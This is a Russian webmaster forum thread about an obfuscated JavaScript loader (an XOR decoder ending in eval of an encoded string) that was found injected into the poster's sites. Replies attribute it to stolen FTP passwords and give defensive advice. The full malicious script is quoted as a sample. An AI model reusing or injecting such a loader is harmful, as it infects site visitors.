Откуда берется этот javascript?

x-mobi.ru
На сайте с 30.12.2007
Offline
88
579

День добрый!

Частенько стал замечать, что касперский воит на некоторые мои сайты, в html коде которых я далее замечал яваскрипт, типа такого:

<script language=JavaScript> function fbnb25(z)	{ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,48,41,26,27,0,4,55,3,58,0,0,0,0,0,0,49,52,51,17,8,61,32,36,7,33,19,54,56,9,46,24,39,2,42,62,29,34,15,13,12,38,18,0,0,0,0,59,0,35,20,37,28,53,31,23,57,47,60,43,5,44,11,50,25,40,30,21,14,6,22,45,10,16,1);for(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(204^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}fbnb25('_vRqqt9NU0nNwU4N0u09DtRq2NSEqt9khu3RUUkL_942LYxhk8f2R94kIYx_UK3q2u0kA000m0kiiui_GUnNj30Lai0ijY3Rqxr2UR9qaa_LBiShzKxNGxNiaYkqqZrFwUn2U_4kUU9qIZrhY00SEai0cfS9iZ000iShk_t__vxRLZ3j0ifEmJ3RcNx2LufEABSiLvnq2ui_qv9ijQ3ke3iqax3RNnVjagRRSK3q2x09c8')</script><!-- 83.222.23.245 -->

Никто не сталкивался? Откуда может браться эта ерунда? Я что-то даже и не знаю. С моего компа, или с хостером че-то? Хотя уже на 2-х хостах такое было.

p.s. эм, пойду ка сменю пароли на ftp

О_о
topy
На сайте с 28.03.2006
Offline
142
#1

Еще как сталкивались....

Поменяйте пароли от ftp, почистите систему от вирусов, удалите из файлов сайтов этот код и касперский успокоится....

А простыми словами: у вас увели пароли от ftp серверов и пользуются вашими сайтами!!!

Новости коротко и ясно (https://subnews.ru)
Dwarf_V
На сайте с 23.01.2008
Offline
75
#2

Это вирус, и его уже часто обсуждали. Пароли поменять - хорошая идея, и не желательно их хранить в ftp клиенте.

x-mobi.ru
На сайте с 30.12.2007
Offline
88
#3

topy, ******, это я мигом О_о, блин, спасиб

afonik
На сайте с 20.09.2007
Offline
175
#4

это с вашего компа, проверьте на шпионские программы и на вирусы. Часто так происходит, когда заходишь на ftp через IE.

Микроразметка.ру (http://mikrorazmetka.ru/)
x-mobi.ru
На сайте с 30.12.2007
Offline
88
#5

У меня одно время защита компа была не полная, видимо в то время и дернули... давно уже на сайтах наблюдал эту ерунду.

Спасибо всем откликнувшимся) уже все сменил, да и нужно в практику ввести менять каждый месяц, ну их нафиг...

kod_ssilki_ru
На сайте с 02.03.2005
Offline
176
#6

Пароли лучше не хранить в фтп клиенте, хотя это не панацея

Если хостинг позволяет, можно подключаться не по FTP - а по SCP

Если есть возможность взять у провайдера интернет-доступа выделенный ip - то у некоторых хостингов можно воспользоваться возможностью ограничить доступ к FTP своим ip

Удачи!

Аккаунт закрыт 21.07.2009 ЛС (PM) отключены. Всем успехов! И Спасибо тем, кто был добр ко мне. Этот аккаунт ломали 18.05.2010 в 11.13 с ip 118.97.72.37 189.42.222.213 202.146.241.19 82.198.27.9

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий